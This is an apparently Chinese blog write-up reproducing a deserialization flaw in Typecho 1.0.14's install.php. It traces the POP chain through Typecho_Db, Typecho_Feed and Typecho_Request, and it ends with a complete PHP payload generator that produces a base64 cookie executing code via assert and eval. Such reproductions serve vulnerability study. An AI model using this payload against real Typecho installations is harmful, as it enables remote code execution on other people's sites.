[漏洞复现]typecho

编程入门 行业动态 更新时间:2024-10-24 11:21:13

环境

typecho_v1.0.14:链接:pan.baidu./s/1NAj25GoixIdnjrHCZC7iTg 提取码:3l16phpstudy8.0php5.2.17

环境配置

网站配置好后,直接访问。就是安装界面。





漏洞分析

推荐使用phpstorm,比较方便

打开install.php。发现有unserialize函数,发现参数是base64解码后的Typecho_Cookie::get('__typecho_config'),在phpstorm,点两次shift键可以在本项目中所有文件中搜索类名和文件名。我们搜索一下Typecho_Cookie这个类,点击就跳转那个文件


跳转到Cookie文件。搜索静态方法getcirl+f找就行了。分析一下就知道是将cookie中参数为$key的值返回。,此时参数__typecho_config,这样的话,这个参数的值是可控的,我们可以篡改这个值。


再回到install.php中。
既然__typecho_config我们可控,则$config可控。

存在反序列化操作,一般找一些可以被执行的魔术方法,一般是找__destruct,__wakeup,__toString等。

__destruct有两处。

__wakeup没有

我们先继续往下走,

我们看到 $db = new Typecho_Db($config['adapter'], $config['prefix']);,这里将我们可控的参数$config传给了Typecho_Db类。跟进一下Typecho_Db类的构造方法。


发现构造方法将$adapterName和字符串Typecho_Db_Adapter_连接起来了。如果$adapterName是一个类的话,则会调用这个类的__toString方法。(因为类被当做字符串使用)。既然这样的话,我们得找一下哪个类有__toString方法。

主要有三处, 第一出Config.php的__toString 函数中是一个序列化方法, 第二处Query.php文件是一个构造查询语句的过程, 第三处在Feed.php中构造Feed输出的内容, 仔细观察发现这三个魔术方法中都没有调用一些危险函数, 这个时候我们需要继续构造pop链,直到找到一些危险函数。
—摘自于:jianshu./p/48ed2a286054


在290行可以看到$item['author']->screenName。$item是可控的。因为最初有个反序列化函数。并且__typecho_config包含着各个对象的属性和值。这些对象的属性和值是我们可控的,即控制了$this->_items,也就控制了$item。


既然知道了$item可控,则$item[‘author’]可控。那如果我们给
$item[‘author’]赋值为一个没有screenName属性的对象会怎么样呢?没错。会自动调用__get方法。

那我们现在需要找一个既没有screenName属性也存在__get危险操作的类。

最后找到了Typecho_Request类。


下面调用了return $this->_applyFilter($value);,再次跟进_applyFilter函数

构造完payload会发现页面返回500响应,调试发现后面对反序列化后的内容进行处理时候抛出了一个异常。

栈追踪,发现到了一个异常处理函数。调用了ob_end_clean清空缓冲区。


但是比较好奇,为什么会跳到这里。

我自己分析了一下。
在install.php中,有一个程序初始化。

跟进这个类,找到了var\Typecho\Common.php,找到了init方法,在init方法最后有一句话set_exception_handler(array('Typecho_Common', 'exceptionHandle'));
这个函数设置用户自定义的异常处理函数。所以知道为什么到了exceptionHandle这里了吧。



init方法下面就是exceptionHandle方法

这里调用了ob_end_clean清空了缓冲区。并调用了error方法。


这个error方法打印出错误信息,并退出了程序。导致我构造的paload没有执行。

有两种方法解决这个问题

提前exit退出程序。只要我们的payload执行完,再执行exit。就不会执行到抛出异常的语句提前将缓冲区内容打印到页面上

这里用第一种方法,第二种方法不会。

在第一种方法中也有两种方式,直接将exit写入payload。或者修改程序流程,使程序执行一个存在exit方法的函数。

payload

到了这里。我们回到最初的地方。
首先需要get传一个参数finish。值随便。因为<?php if (isset($_GET['finish'])) : ?>才能调用下面的unserialize

并且在install.php的63行判断了referer和host是否相同。


再加上payload

<?phpclass Typecho_Feed{private $_type;private $_items = array();public function __construct(){$this->_type = "RSS 2.0";$this->_items = array(array("title" => "test","link" => "test","data" => "20190430","author" => new Typecho_Request(),),);}}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params = array("screenName" => "eval('phpinfo();exit;')",);$this->_filter = array("assert");}}$a = new Typecho_Feed();$c = array("adapter" => $a,"prefix" => "test",);echo base64_encode(serialize($c));//摘自blogs./litlife/p/10798061.html

我也不知道该怎么解释这个payload,哪里不懂的话可以加qq群:946220807或者在评论区留言。

如果文中有错误的地方请指出,谢谢

参考文章:
jianshu./p/48ed2a286054
blogs./litlife/p/10798061.html
paper.seebug./424/

更多推荐

漏洞,typecho

本文发布于:2023-05-25 10:56:26,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/226631.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   typecho

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!